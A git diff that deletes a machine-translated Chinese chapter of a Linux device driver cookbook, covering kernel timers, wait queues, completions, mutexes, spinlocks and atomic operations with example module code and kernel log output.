- -我们可以看到,到期时间确实很准确(几微秒)。 - -现在,由于*步骤 5* ,如果我们移除模块,定时器停止,如下图所示: - -```sh -hires_timer:hires_timer_exit: hires timer module unloaded -``` - -# 还有更多... - -为了完成您的理解,看一下遗留的内核定时器应用编程接口可能会很有趣。 - -# 传统内核定时器 - -`ktimer.c`文件包含一个遗留内核定时器的简单例子。像往常一样,让我们从模块`init()`和`exit()`功能所在的文件末尾开始: - -```sh -static int __init ktimer_init(void) -{ - /* Save kernel timer delay */ - ktinfo.delay_jiffies = msecs_to_jiffies(delay_ms); - pr_info("delay is set to %dms (%ld jiffies)\n", - delay_ms, ktinfo.delay_jiffies); - - /* Setup and start the kernel timer */ - timer_setup(&ktinfo.timer, ktimer_handler, 0); - mod_timer(&ktinfo.timer, jiffies + ktinfo.delay_jiffies); - - pr_info("kernel timer module loaded\n"); - return 0; -} - -static void __exit ktimer_exit(void) -{ - del_timer_sync(&ktinfo.timer); - - pr_info("kernel timer module unloaded\n"); -} -``` - -具有处理函数的模块数据结构如下: - -```sh -static struct ktimer_data { - struct timer_list timer; - long delay_jiffies; - unsigned int data; -} ktinfo; - -... - -static void ktimer_handler(struct timer_list *t) -{ - struct ktimer_data *info = from_timer(info, t, timer); - - pr_info("kernel timer expired at %ld (data=%d)\n", - jiffies, info->data++); - - /* Reschedule kernel timer */ - mod_timer(&info->timer, jiffies + info->delay_jiffies); -} -``` - -我们可以看到,这种实现与高分辨率计时器非常相似。事实上,在`ktimer_init()`初始化函数中,我们读取模块`delay_ms`参数,并通过使用`msecs_to_jiffies()`,将其值转换为 jiffies,jiffies 是内核定时器的度量单位。(请记住,传统内核定时器的时间限制较低,为一秒钟。) - -然后,我们使用`timer_setup()`和`mod_timer()`功能分别设置和启动内核定时器。`timer_setup()`函数接受三个参数: - -```sh -/** - * timer_setup - prepare a timer for first use - * @timer: the timer in question - * @callback: the function to call when timer expires - * @flags: any TIMER_* flags - * - * Regular timer initialization should use either DEFINE_TIMER() above, - * or timer_setup(). For timers on the stack, timer_setup_on_stack() must - * be used and must be balanced with a call to destroy_timer_on_stack(). - */ -#define timer_setup(timer, callback, flags) \ - __init_timer((timer), (callback), (flags)) -``` - -一个`struct timer_list`类型的变量`timer`,一个函数`callback`(或处理程序),以及一些标志(在`flags`变量中),这些标志可以用来指定我们的内核定时器的一些特定特性。为了让您了解可用标志及其含义,以下是来自`linux/include/linux/timer.h`文件的一些标志定义: - -```sh -/* - * A deferrable timer will work normally when the system is busy, but - * will not cause a CPU to come out of idle just to service it; instead, - * the timer will be serviced when the CPU eventually wakes up with a - * subsequent non-deferrable timer. - * - * An irqsafe timer is executed with IRQ disabled and it's safe to wait for - * the completion of the running instance from IRQ handlers, for example, - * by calling del_timer_sync(). - * - * Note: The irq disabled callback execution is a special case for - * workqueue locking issues. It's not meant for executing random crap - * with interrupts disabled. Abuse is monitored! - */ -#define TIMER_CPUMASK 0x0003FFFF -#define TIMER_MIGRATING 0x00040000 -#define TIMER_BASEMASK (TIMER_CPUMASK | TIMER_MIGRATING) -#define TIMER_DEFERRABLE 0x00080000 -#define TIMER_PINNED 0x00100000 -#define TIMER_IRQSAFE 0x00200000 -``` - -关于回调函数,我们从例子来看`ktimer_handler()`: - -```sh -static void ktimer_handler(struct timer_list *t) -{ - struct ktimer_data *info = from_timer(info, t, timer); - - pr_info("kernel timer expired at %ld (data=%d)\n", - jiffies, info->data++); - - /* Reschedule kernel timer */ - mod_timer(&info->timer, jiffies + info->delay_jiffies); -} -``` - -通过使用`from_timer()`,我们可以获取一个指向我们的数据结构的指针(在示例中定义为`struct ktimer_data`,然后,在完成我们的工作之后,我们可以再次调用`mod_timer()`来重新安排新的计时器执行;否则,一切都将停止。 - -Note that the `from_timer()` function still uses `container_of()` to do its job, as the following definition from the `linux/include/linux/timer.h` file shows: -`#define from_timer(var, callback_timer, timer_fieldname) \` -`container_of(callback_timer, typeof(*var), timer_fieldname)`. - -在模块退出时,在`ktimer_exit()`功能内,我们必须使用`del_timer_sync()`功能等待定时器停止。无论我们之前声明的等待退出仍然有效,因此,要从中断上下文中停止内核定时器,我们可以使用`try_to_del_timer_sync()`,如果定时器已经正确停止,它只返回一个非负值。 - -为了测试我们的代码,我们只需要编译它,然后将其移动到我们的 ESPRESSObin,然后我们可以将该模块加载到内核中,如下所示: - -```sh -# insmod ktimer.ko -``` - -然后,在内核消息中,我们应该得到如下内容: - -```sh -[ 122.174020] ktimer:ktimer_init: delay is set to 1000ms (250 jiffies) -[ 122.180519] ktimer:ktimer_init: kernel timer module loaded -[ 123.206222] ktimer:ktimer_handler: kernel timer expired at 4294923072 (data=0) -[ 124.230222] ktimer:ktimer_handler: kernel timer expired at 4294923328 (data=1) -[ 125.254218] ktimer:ktimer_handler: kernel timer expired at 4294923584 (data=2) -``` - -Again, I've left the timings to give you an idea about kernel timer's precision. - -在这里,我们发现 1,000 ms 等于 250 jiffies 也就是说,1 jiffy 是 4 ms,我们还可以看到计时器的处理程序每秒或多或少都会被执行。(抖动非常接近 4 毫秒,即 1 吉非。) - -当我们移除模块时,定时器停止,如下所示: - -```sh -ktimer:ktimer_exit: kernel timer module unloaded -``` - -# 请参见 - -* 关于高分辨率内核定时器的有趣文档在`linux/Documentation/timers/hrtimers.txt`的内核源代码中。 - -# 等待事件 - -在前面几节中,我们看到了如何直接在其处理程序中管理中断,或者通过使用小任务、工作队列等来推迟中断活动。此外,我们还看到了如何进行周期性操作,或者如何及时推迟行动;但是,设备驱动可能需要等待特定的事件,例如等待一些数据,等待缓冲区变满,或者等待变量达到所需的值。 - -Please don't confuse events managed by the notifiers, we saw before, which are kernel related, with generic events for a specific driver. - -当没有要从外设读取的数据时,读取过程必须进入睡眠状态,然后在“数据就绪”事件到来时被唤醒。另一个例子是,当我们开始一项复杂的工作时,我们希望在完成时得到信号;在这种情况下,我们开始作业,然后进入睡眠状态,直到“作业完成”事件到来。所有这些任务都可以通过使用**等待队列**(等待队列)或**完成**(仍然由等待队列实现)来完成。 - -等待队列(或完成队列)只是一个队列,其中一个或多个进程等待与该队列相关的事件;当事件到达时,一个、多个、甚至所有休眠进程都会被唤醒,以便有人管理它。在这个食谱中,我们将学习如何使用 waitqueue。 - -# 准备好 - -为了准备一个关于等待队列的简单例子,我们可以再次使用一个内核模块,在这个模块中,我们在模块初始化函数中定义了一个内核定时器,它的任务是生成我们的事件,然后我们使用一个等待队列或完成来等待它。 - -在 GitHub 资源的`chapter_05/wait_event`目录中,有两个关于 waitqueues 和 completions 的简单例子,然后在*中,它是如何工作的...*一节,我们将详细解释它们。 - -# 怎么做... - -首先,让我们看一个关于 waitqueue 的简单例子,wait queue 用于等待“数据大于 5”事件。 - -# 等待队列 - -以下是`waitqueue.c`文件的主要部分,其中保存了一个关于 waitqueues 的简单示例。 - -1. 还是让我们从头开始,来看看`init()`模块的功能: - -```sh -static int __init waitqueue_init(void) -{ - int ret; - - /* Save kernel timer delay */ - wqinfo.delay_jiffies = msecs_to_jiffies(delay_ms); - pr_info("delay is set to %dms (%ld jiffies)\n", - delay_ms, wqinfo.delay_jiffies); - - /* Init the wait queue */ - init_waitqueue_head(&wqinfo.waitq); - - /* Setup and start the kernel timer */ - timer_setup(&wqinfo.timer, ktimer_handler, 0); - mod_timer(&wqinfo.timer, jiffies + wqinfo.delay_jiffies); -``` - -内核定时器启动后,我们可以使用`wait_event_interruptible()`功能在`wqinfo.waitq`等待队列中等待`wqinfo.data > 5`事件,如下所示: - -```sh - /* Wait for the wake up event... */ - ret = wait_event_interruptible(wqinfo.waitq, wqinfo.data > 5); - if (ret < 0) - goto exit; - - pr_info("got event data > 5\n"); - - return 0; - -exit: - if (ret == -ERESTARTSYS) - pr_info("interrupted by signal!\n"); - else - pr_err("unable to wait for event\n"); - - del_timer_sync(&wqinfo.timer); - - return ret; -} -``` - -2. 数据结构现在定义如下: - -```sh -static struct ktimer_data { - struct wait_queue_head waitq; - struct timer_list timer; - long delay_jiffies; - unsigned int data; -} wqinfo; -``` - -3. 然而,在 waitqueue 上发生任何动作之前,它必须被初始化,因此,在启动内核定时器之前,我们使用`init_waitqueue_head()`功能来正确设置存储在`struct ktimer_data`中的`struct wait_queue_head waitq`。 - -如果我们看一下`linux/include/linux/wait.h`标题,我们可以看到`wait_event_interruptible()`是如何工作的: - -```sh -/** - * wait_event_interruptible - sleep until a condition gets true - * @wq_head: the waitqueue to wait on - * @condition: a C expression for the event to wait for - * - * The process is put to sleep (TASK_INTERRUPTIBLE) until the - * @condition evaluates to true or a signal is received. - * The @condition is checked each time the waitqueue @wq_head is woken up. - * - * wake_up() has to be called after changing any variable that could - * change the result of the wait condition. - * - * The function will return -ERESTARTSYS if it was interrupted by a - * signal and 0 if @condition evaluated to true. - */ -#define wait_event_interruptible(wq_head, condition) \ -``` - -4. 要了解如何唤醒休眠进程,我们应该考虑名为`ktimer_handler()`的`waitqueue.c`文件中的内核定时器处理程序: - -```sh -static void ktimer_handler(struct timer_list *t) -{ - struct ktimer_data *info = from_timer(info, t, timer); - - pr_info("kernel timer expired at %ld (data=%d)\n", - jiffies, info->data++); - - /* Wake up all sleeping processes */ - wake_up_interruptible(&info->waitq); - - /* Reschedule kernel timer */ - mod_timer(&info->timer, jiffies + info->delay_jiffies); -} -``` - -# 完成 - -如果我们希望等待一个作业完成,我们仍然可以使用 waitqueue,但是最好使用一个专门设计用于执行此类活动的完成队列(顾名思义)。这里有一个简单的例子,可以从 GitHub 关于比赛的资源的`completion.c`文件中检索到。 - -1. 首先来看看模块`init()`和`exit()`功能: - -```sh -static int __init completion_init(void) -{ - /* Save kernel timer delay */ - cinfo.delay_jiffies = msecs_to_jiffies(delay_ms); - pr_info("delay is set to %dms (%ld jiffies)\n", - delay_ms, cinfo.delay_jiffies); - - /* Init the wait queue */ - init_completion(&cinfo.done); - - /* Setup and start the kernel timer */ - timer_setup(&cinfo.timer, ktimer_handler, 0); - mod_timer(&cinfo.timer, jiffies + cinfo.delay_jiffies); - - /* Wait for completition... */ - wait_for_completion(&cinfo.done); - - pr_info("job done\n"); - - return 0; -} - -static void __exit completion_exit(void) -{ - del_timer_sync(&cinfo.timer); - - pr_info("module unloaded\n"); -} -``` - -2. 模块数据结构现在如下所示: - -```sh -static struct ktimer_data { - struct completion done; - struct timer_list timer; - long delay_jiffies; - unsigned int data; -} cinfo; -``` - -3. 工作完成后,我们可以使用`complete()`功能向`ktimer_handler ()`内核定时器处理程序发出信号,表示工作已经完成: - -```sh -static void ktimer_handler(struct timer_list *t) -{ - struct ktimer_data *info = from_timer(info, t, timer); - - pr_info("kernel timer expired at %ld (data=%d)\n", - jiffies, info->data++); - - /* Signal that job is done */ - complete(&info->done); -} -``` - -当调用`complete()`时,等待完成的单个线程被发出信号: - -```sh -/** - * complete: - signals a single thread waiting on this completion - * @x: holds the state of this particular completion - * - * This will wake up a single thread waiting on this completion. Threads will be - * awakened in the same order in which they were queued. - * - * See also complete_all(), wait_for_completion() and related routines. - * - * It may be assumed that this function implies a write memory barrier before - * changing the task state if and only if any tasks are woken up. - */ -void complete(struct completion *x) -``` - -而如果我们调用`complete_all()`,所有等待完成的线程都会被告知: - -```sh -/** - * complete_all: - signals all threads waiting on this completion - * @x: holds the state of this particular completion - * - * This will wake up all threads waiting on this particular completion - * event. - * It may be assumed that this function implies a write memory barrier - * before changing the task state if and only if any tasks are - * woken up. - * Since complete_all() sets the completion of @x permanently to done - * to allow multiple waiters to finish, a call to reinit_completion() - * must be used on @x if @x is to be used again. The code must make - * sure that all waiters have woken and finished before reinitializing - * @x. Also note that the function completion_done() can not be used - * to know if there are still waiters after complete_all() has been - * called. - */ -void complete_all(struct completion *x) -``` - -# 它是如何工作的... - -让我们在以下几节中看看这是如何工作的: - -# 等待队列 - -在步骤 3 中,如果条件为真,则调用过程简单地继续执行;否则,它会进入睡眠状态,直到条件变为真或收到信号。(在这种情况下,函数返回`-ERESTARTSYS`值。) - -为了完整的理解,我们应该注意到`linux/include/linux/wait.h`头中定义了等待事件函数的另外两个变体。第一个变体只是`wait_event()`功能,它的工作原理与`wait_event_interruptible()`完全一样,但是它不能被任何信号打断: - -```sh -/** - * wait_event - sleep until a condition gets true - * @wq_head: the waitqueue to wait on - * @condition: a C expression for the event to wait for - * - * The process is put to sleep (TASK_UNINTERRUPTIBLE) until the - * @condition evaluates to true. The @condition is checked each time - * the waitqueue @wq_head is woken up. - * - * wake_up() has to be called after changing any variable that could - * change the result of the wait condition. - */ -#define wait_event(wq_head, condition) \ -``` - -而第二个是`wait_event_timeout()`或`wait_event_interruptible_timeout()`,以同样的方式工作,直到超时: - -```sh -/** * wait_event_interruptible_timeout - sleep until a condition - * gets true or a timeout elapses - * @wq_head: the waitqueue to wait on - * @condition: a C expression for the event to wait for - * @timeout: timeout, in jiffies - * - * The process is put to sleep (TASK_INTERRUPTIBLE) until the - * @condition evaluates to true or a signal is received. - * The @condition is checked each time the waitqueue @wq_head - * is woken up. - * wake_up() has to be called after changing any variable that could - * change the result of the wait condition. - * Returns: - * 0 if the @condition evaluated to %false after the @timeout elapsed, - * 1 if the @condition evaluated to %true after the @timeout elapsed, - * the remaining jiffies (at least 1) if the @condition evaluated - * to %true before the @timeout elapsed, or -%ERESTARTSYS if it was - * interrupted by a signal. - */ -#define wait_event_interruptible_timeout(wq_head, condition, timeout) \ -``` - -在*步骤 4* 中,在该功能中,我们将存储的值更改为数据,然后在 waitqueue 上使用`wake_up_interruptible()`,以向休眠进程发出数据已更改的信号,它应该会醒来以测试条件是否成立。 - -在`linux/include/linux/wait.h`头中,定义了几个函数,用于通过使用一个通用的`__wake_up()`函数来唤醒一个、多个或所有等待的进程(可中断或不可中断): - -```sh -#define wake_up(x) __wake_up(x, TASK_NORMAL, 1, NULL) -#define wake_up_nr(x, nr) __wake_up(x, TASK_NORMAL, nr, NULL) -#define wake_up_all(x) __wake_up(x, TASK_NORMAL, 0, NULL) -... -#define wake_up_interruptible(x) __wake_up(x, TASK_INTERRUPTIBLE, 1, NULL) -#define wake_up_interruptible_nr(x, nr) __wake_up(x, TASK_INTERRUPTIBLE, nr, NULL) -#define wake_up_interruptible_all(x) __wake_up(x, TASK_INTERRUPTIBLE, 0, NULL) -... -``` - -在我们的例子中,我们要求的数据大于 5,所以`wake_up_interruptible()`的前 5 个调用不应该唤醒我们的进程;让我们在下一节中验证它! - -Note that the process that will go to sleep is just the `insmod` command, which is the one that calls the module initialization function. - -# 完成 - -在*第 1 步*中,我们可以看到代码与前面的 waitqueue 示例非常相似;我们只需像往常一样使用`init_completion()`函数初始化完成,然后在`struct ktimer_data`结构内调用`struct completion done`上的`wait_for_completion()`等待作业结束。 - -至于等待队列,在`linux/include/linux/completion.h`头中,我们可以找到`wait_for_completion()`函数的几个变体: - -```sh -extern void wait_for_completion(struct completion *); -extern int wait_for_completion_interruptible(struct completion *x); -extern unsigned long wait_for_completion_timeout(struct completion *x, - unsigned long timeout); -extern long wait_for_completion_interruptible_timeout( - struct completion *x, unsigned long timeout); -``` - -# 还有更多... - -现在,为了在这两种情况下测试我们的代码,我们必须编译内核模块,然后在 ESPRESSObin 上移动它们;此外,为了更好地理解示例的工作原理,我们应该使用 SSH 连接,然后从另一个终端窗口在串行控制台上查找内核消息。 - -# 等待队列 - -当我们用`insmod`插入`waitqueue.ko`模块时,如下,我们应该注意到进程被暂停,直到数据变得大于 5: - -```sh -# insmod waitqueue.ko -``` - -When the `insmod` process is suspended, you should not get the prompt until the test is finished. - -在串行控制台上,我们应该会收到以下消息: - -```sh -waitqueue:waitqueue_init: delay is set to 1000ms (250 jiffies) -waitqueue:ktimer_handler: kernel timer expired at 4295371304 (data=0) -waitqueue:ktimer_handler: kernel timer expired at 4295371560 (data=1) -waitqueue:ktimer_handler: kernel timer expired at 4295371816 (data=2) -waitqueue:ktimer_handler: kernel timer expired at 4295372072 (data=3) -waitqueue:ktimer_handler: kernel timer expired at 4295372328 (data=4) -waitqueue:ktimer_handler: kernel timer expired at 4295372584 (data=5) -waitqueue:waitqueue_init: got event data > 5 -waitqueue:ktimer_handler: kernel timer expired at 4295372840 (data=6) -... -``` - -一旦`got event data > 5`信息出现在屏幕上,则`insmod`过程应该返回,并显示新的提示。 - -为了验证`wait_event_interruptible()`是否随`-ERESTARTSYS`返回,当信号到达时,我们可以卸载模块并重新加载,然后只需在数据到达 5: - -```sh -# rmmod waitqueue -# insmod waitqueue.ko -^C -``` - -这一次在内核消息中,我们应该得到如下内容: - -```sh -waitqueue:waitqueue_init: delay is set to 1000ms (250 jiffies) -waitqueue:ktimer_handler: kernel timer expired at 4295573632 (data=0) -waitqueue:ktimer_handler: kernel timer expired at 4295573888 (data=1) -waitqueue:waitqueue_init: interrupted by signal! -``` - -# 完成 - -为了测试完成,我们必须将`completion.ko`模块插入内核。现在你应该注意到,如果我们按下 *CTRL* + *C* 什么都没有发生,因为我们使用了`wait_for_completion()`而不是`wait_for_completion_interruptible()`: - -```sh -# insmod completion.ko -^C^C^C^C -``` - -五秒钟后提示符返回,内核消息如下: - -```sh -completion:completion_init: delay is set to 5000ms (1250 jiffies) -completion:ktimer_handler: kernel timer expired at 4296124608 (data=0) -completion:completion_init: job done -``` - -# 请参见 - -* 虽然有点过时,但在网址[https://lwn.net/Articles/577370/](https://lwn.net/Articles/577370/)上有一些关于排队等候的好信息。 - -# 执行原子操作 - -原子操作是设备驱动开发的关键步骤。事实上,驱动不像一个从头到尾执行的普通程序,因为它提供了几种方法(例如,向外围设备读写数据,或者设置一些通信参数),这些方法可以相互异步调用。所有这些方法在必须以一致的方式修改的公共数据结构上同时运行。这就是为什么我们需要能够执行原子操作。 - -Linux 内核使用大量的原子操作。每个都用于不同的操作,这取决于 CPU 是在中断环境中运行还是在进程环境中运行。 - -当 CPU 在进程上下文中时,我们可以安全地使用**互斥体,**如果互斥体被锁定,可以让当前运行的进程进入睡眠状态;然而,在中断上下文中“进入睡眠”是不允许的,所以我们需要另一种机制,Linux 给了我们**自旋锁**,它允许在任何地方锁定,但时间很短。发生这种情况是因为自旋锁在当前的 CPU 上执行一个繁忙等待的紧循环来完成它们的工作,如果我们停留太久,我们可能会失去性能。 - -在本食谱中,我们将看到如何以不间断的方式对数据进行操作,以避免数据损坏。 - -# 准备好 - -同样,为了构建我们的示例,我们可以使用一个内核模块,该模块在模块`init()`函数期间定义了一个内核计时器,该函数的任务是生成一个异步执行,我们可以在其中使用互斥机制来保护我们的数据。 - -在 GitHub 资源的`chapter_05/atomic`目录中,有互斥、自旋锁和原子数据的简单例子,在接下来的部分中,我们将详细解释它们。 - -# 怎么做... - -在这一段中,我们将给出两个如何使用互斥锁和自旋锁的例子。我们应该把它们看作是一个关于如何使用 API 的演示,因为在真实的驱动中,它们的用法有点不同,将在 [第 7 章](07.html)*高级字符驱动操作*以及后面的章节中介绍。 - -# 互斥体 - -以下是`mutex.c`文件的结尾,其中为模块`init()`功能定义并初始化了互斥体: - -```sh -static int __init mut_init(void) -{ - /* Save kernel timer delay */ - minfo.delay_jiffies = msecs_to_jiffies(delay_ms); - pr_info("delay is set to %dms (%ld jiffies)\n", - delay_ms, minfo.delay_jiffies); - - /* Init the mutex */ - mutex_init(&minfo.lock); - - /* Setup and start the kernel timer */ - timer_setup(&minfo.timer, ktimer_handler, 0); - mod_timer(&minfo.timer, jiffies); - - mutex_lock(&minfo.lock); - minfo.data++; - mutex_unlock(&minfo.lock); - - pr_info("mutex module loaded\n"); - return 0; -} -``` - -以下是模块`exit()`功能的初始化: - -```sh -static void __exit mut_exit(void) -{ - del_timer_sync(&minfo.timer); - - pr_info("mutex module unloaded\n"); -} - -module_init(mut_init); -module_exit(mut_exit); -``` - -1. 在模块初始化`mut_init()`功能中,我们使用`mutex_init()`初始化`lock`互斥体;然后我们就可以安全地启动计时器了。 - 模块数据结构定义如下: - -```sh -static struct ktimer_data { - struct mutex lock; - struct timer_list timer; - long delay_jiffies; - int data; -} minfo; -``` - -2. 我们使用`mutex_trylock()`尝试安全获取锁: - -```sh -static void ktimer_handler(struct timer_list *t) -{ - struct ktimer_data *info = from_timer(info, t, timer); - int ret; - - pr_info("kernel timer expired at %ld (data=%d)\n", - jiffies, info->data); - ret = mutex_trylock(&info->lock); - if (ret) { - info->data++; - mutex_unlock(&info->lock); - } else - pr_err("cannot get the lock!\n"); - - /* Reschedule kernel timer */ - mod_timer(&info->timer, jiffies + info->delay_jiffies); -} -``` - -# 自旋锁 - -1. 像往常一样,`spinlock.c`文件显示为自旋锁使用的一个例子。这里是`init()`功能模块: - -```sh -static int __init spin_init(void) -{ - unsigned long flags; - - /* Save kernel timer delay */ - sinfo.delay_jiffies = msecs_to_jiffies(delay_ms); - pr_info("delay is set to %dms (%ld jiffies)\n", - delay_ms, sinfo.delay_jiffies); - - /* Init the spinlock */ - spin_lock_init(&sinfo.lock); - - /* Setup and start the kernel timer */ - timer_setup(&sinfo.timer, ktimer_handler, 0); - mod_timer(&sinfo.timer, jiffies); - - spin_lock_irqsave(&sinfo.lock, flags); - sinfo.data++; - spin_unlock_irqrestore(&sinfo.lock, flags); - - pr_info("spinlock module loaded\n"); - return 0; -} -``` - -这里是模块`exit()`功能: - -```sh -static void __exit spin_exit(void) -{ - del_timer_sync(&sinfo.timer); - - pr_info("spinlock module unloaded\n"); -} - -module_init(spin_init); -module_exit(spin_exit); -``` - -模块数据结构如下: - -```sh -static struct ktimer_data { - struct spinlock lock; - struct timer_list timer; - long delay_jiffies; - int data; -} sinfo; -``` - -2. 在示例中,我们使用`spin_lock_init()`来初始化自旋锁,然后使用两个不同的函数对来保护我们的数据:`spin_lock()`和`spin_unlock()`;这两者都只是使用自旋锁来避免竞争条件,而`spin_lock_irqsave()`和`spin_unlock_irqrestore()`在当前的 CPU 中断被禁用时使用自旋锁: - -```sh -static void ktimer_handler(struct timer_list *t) -{ - struct ktimer_data *info = from_timer(info, t, timer); - - pr_info("kernel timer expired at %ld (data=%d)\n", - jiffies, info->data); - spin_lock(&sinfo.lock); - info->data++; - spin_unlock(&info->lock); - - /* Reschedule kernel timer */ - mod_timer(&info->timer, jiffies + info->delay_jiffies); -} -``` - -By using `spin_lock_irqsave()` and `spin_unlock_irqrestore()`, we can be sure that nobody can interrupt us because the IRQs are disabled, and that no other CPU can execute our code (thanks to the spinlock). - -# 它是如何工作的... - -让我们在接下来的两节中看看互斥体和自旋锁是如何工作的。 - -# 互斥体 - -在*步骤 2* 中,每次我们必须修改我们的数据时,我们可以通过调用`mutex_lock()`和`mutex_unlock()`对来保护它,传递一个指向互斥锁的指针作为参数;当然,我们不能在中断上下文中这样做(就像内核定时器处理程序一样),这就是为什么我们使用`mutex_trylock()`来尝试安全地获取锁。 - -# 自旋锁 - -在第 1 步中,这个例子与前一个非常相似,但它显示了互斥锁和自旋锁之间真正重要的区别:前者保护代码免受进程并发的影响,而后者保护代码免受 CPU 并发的影响!事实上,如果内核没有对称多处理支持(内核`.config`文件中的`CONFIG_SMP=n`,那么自旋锁就消失在空代码中了。 - -这是一个非常重要的概念,设备驱动开发者应该非常了解;否则,驱动可能根本无法工作,或者导致严重的 bug。 - -# 还有更多... - -因为最后一个例子只是为了展示互斥体和自旋锁,所以 API 测试是非常无用的。然而,如果我们无论如何都希望这样做,过程是一样的:编译模块,然后将它们移动到 ESPRESSObin。 - -# 互斥体 - -当我们插入`mutex.ko`模块时,输出应该如下所示: - -```sh -# insmod mutex.ko -mutex:mut_init: delay is set to 1000ms (250 jiffies) -mutex:mut_init: mutex module loaded -``` - -在步骤 1 中,我们执行模块`init()`功能,在互斥保护区域内增加`minfo.data`。 - -```sh -mutex:ktimer_handler: kernel timer expired at 4294997916 (data=1) -mutex:ktimer_handler: kernel timer expired at 4294998168 (data=2) -mutex:ktimer_handler: kernel timer expired at 4294998424 (data=3) -... -``` - -当我们执行处理程序时,我们可以确定,如果模块`init()`函数当前持有互斥体,它就不能增加`minfo.data`。 - -# 自旋锁 - -当我们插入`spinlock.ko`模块时,输出应该如下所示: - -```sh -# insmod spinlock.ko -spinlock:spin_init: delay is set to 1000ms (250 jiffies) -spinlock:spin_init: spinlock module loaded -``` - -和以前一样,在*步骤 1* 中,我们执行模块`init()`功能,在该功能中,我们在自旋锁保护区域内增加`minfo.data`。 - -```sh -spinlock:ktimer_handler: kernel timer expired at 4295019195 (data=1) -spinlock:ktimer_handler: kernel timer expired at 4295019448 (data=2) -spinlock:ktimer_handler: kernel timer expired at 4295019704 (data=3) -... -``` - -同样,当我们执行处理程序时,如果模块`init()`函数当前持有自旋锁,我们可以确定它不能增加`minfo.data`。 - -Note that, in the case of mono core machines, spinlocks vanish, and we assure the `minfo.data` lock by just disabling interrupts. - -通过使用互斥体和自旋锁,我们拥有了保护数据不受竞争条件影响所需的一切;然而,Linux 为我们提供了另一个 API,**原子操作**。 - -# 原子数据类型 - -在设备驱动开发过程中,我们可能需要自动递增或递减一个变量,或者更简单地说,在一个变量中设置一个或多个位。为此,我们可以使用一组由内核保证是原子的变量和操作,而不是使用复杂的互斥机制。 - -在 GitHub 资源的`atomic.c`文件中,我们可以看到一个关于它们的简单例子,其中原子变量可以定义如下: - -```sh -static atomic_t bitmap = ATOMIC_INIT(0xff); - -static struct ktimer_data { - struct timer_list timer; - long delay_jiffies; - atomic_t data; -} ainfo; -``` - -另外,以下是模块`init()`功能: - -```sh -static int __init atom_init(void) -{ - /* Save kernel timer delay */ - ainfo.delay_jiffies = msecs_to_jiffies(delay_ms); - pr_info("delay is set to %dms (%ld jiffies)\n", - delay_ms, ainfo.delay_jiffies); - - /* Init the atomic data */ - atomic_set(&ainfo.data, 10); - - /* Setup and start the kernel timer after required delay */ - timer_setup(&ainfo.timer, ktimer_handler, 0); - mod_timer(&ainfo.timer, jiffies + ainfo.delay_jiffies); - - pr_info("data=%0x\n", atomic_read(&ainfo.data)); - pr_info("bitmap=%0x\n", atomic_fetch_and(0x0f, &bitmap)); - - pr_info("atomic module loaded\n"); - return 0; -} -``` - -这里是模块`exit()`功能: - -```sh -static void __exit atom_exit(void) -{ - del_timer_sync(&ainfo.timer); - - pr_info("atomic module unloaded\n"); -} -``` - -在前面的代码中,我们使用`ATOMIC_INIT()`来静态定义和初始化一个原子变量,而`atomic_set()`函数可以用来动态地做同样的事情。随后,可以使用`atomic_*()`前缀的函数来操作原子变量,这些函数位于`linux/include/linux/atomic.h`和`linux/include/asm-generic/atomic.h`文件中。 - -最后,内核定时器处理程序可以如下实现: - -```sh -static void ktimer_handler(struct timer_list *t) -{ - struct ktimer_data *info = from_timer(info, t, timer); - - pr_info("kernel timer expired at %ld (data=%d)\n", - jiffies, atomic_dec_if_positive(&info->data)); - - /* Compute an atomic bitmap operation */ - atomic_xor(0xff, &bitmap); - pr_info("bitmap=%0x\n", atomic_read(&bitmap)); - - /* Reschedule kernel timer */ - mod_timer(&info->timer, jiffies + info->delay_jiffies); -} -``` - -原子数据可以通过特定的值进行加减、递增、递减、OR-ed、AND-ed、XOR-ed 等等,所有这些操作都由内核保证是原子的,所以它们的用法真的很简单。 - -同样,测试代码是非常无用的。但是,如果我们编译然后在 ESPRESSObin 中插入`atomic.ko`模块,输出如下: - -```sh -# insmod atomic.ko -atomic:atom_init: delay is set to 1000ms (250 jiffies) -atomic:atom_init: data=a -atomic:atom_init: bitmap=ff -atomic:atom_init: atomic module loaded -atomic:ktimer_handler: kernel timer expired at 4295049912 (data=9) -atomic:ktimer_handler: bitmap=f0 -atomic:ktimer_handler: kernel timer expired at 4295050168 (data=8) -atomic:ktimer_handler: bitmap=f -... -atomic:ktimer_handler: kernel timer expired at 4295051960 (data=1) -atomic:ktimer_handler: bitmap=f0 -atomic:ktimer_handler: kernel timer expired at 4295052216 (data=0) -atomic:ktimer_handler: bitmap=f -atomic:ktimer_handler: kernel timer expired at 4295052472 (data=-1) -``` - -此时,`data`停留在`-1`处,不再递减。 - -# 请参见 - -* 关于内核锁定机制的几个例子,请参考[https://www . kernel . org/doc/html docs/kernel-lock/locks . html](https://www.kernel.org/doc/htmldocs/kernel-locking/locks.html)[。](https://www.kernel.org/doc/htmldocs/kernel-locking/locks.html) -* 关于原子操作的更多信息,请看[https://www . kernel . org/doc/html/v 4.12/core-API/atomic _ ops . html](https://www.kernel.org/doc/html/v4.12/core-api/atomic_ops.html)[。](https://www.kernel.org/doc/htmldocs/kernel-locking/locks.html) \ No newline at end of file diff --git a/docs/linux-device-driver-dev-cb/06.md b/docs/linux-device-driver-dev-cb/06.md deleted file mode 100644 index 0583591e..00000000 --- a/docs/linux-device-driver-dev-cb/06.md +++ /dev/null @@ -1,884 +0,0 @@ -# 六、内核内部杂项 - -当在内核内部开发时,我们可能需要做一些杂项活动来实现我们的设备驱动,例如动态分配内存和使用特定的数据类型来存储寄存器数据,或者只是主动等待一段时间,以确保外设已经完成其复位过程。 - -为了执行所有这些任务,Linux 向内核开发人员提供了一套丰富的有用的函数、宏和数据类型,我们将在本章中尝试通过非常简单的示例代码来介绍这些功能、宏和数据类型,因为我们希望向读者指出他/她如何使用它们来简化设备驱动的开发。这就是为什么,在这一章,我们将涵盖以下食谱: - -* 使用内核数据类型 -* 管理助手函数 -* 动态存储分配 -* 管理内核链表 -* 使用内核哈希表 -* 访问输入/输出内存 -* 花时间在内核中 - -# 技术要求 - -关于本章的更多信息,可以访问*附录*。 - -本章使用的代码和其他文件可以在[https://GitHub . com/gio metti/Linux _ device _ driver _ development _ cook book/tree/master/chapter _ 06](https://github.com/giometti/linux_device_driver_development_cookbook/tree/master/chapter_06)下载。 - -# 使用内核数据类型 - -通常,内核代码需要特定大小的数据项来匹配预定义的二进制结构、保存外围设备的寄存器数据、与用户空间通信或者通过插入填充字段来简单地在结构内对齐数据。 - 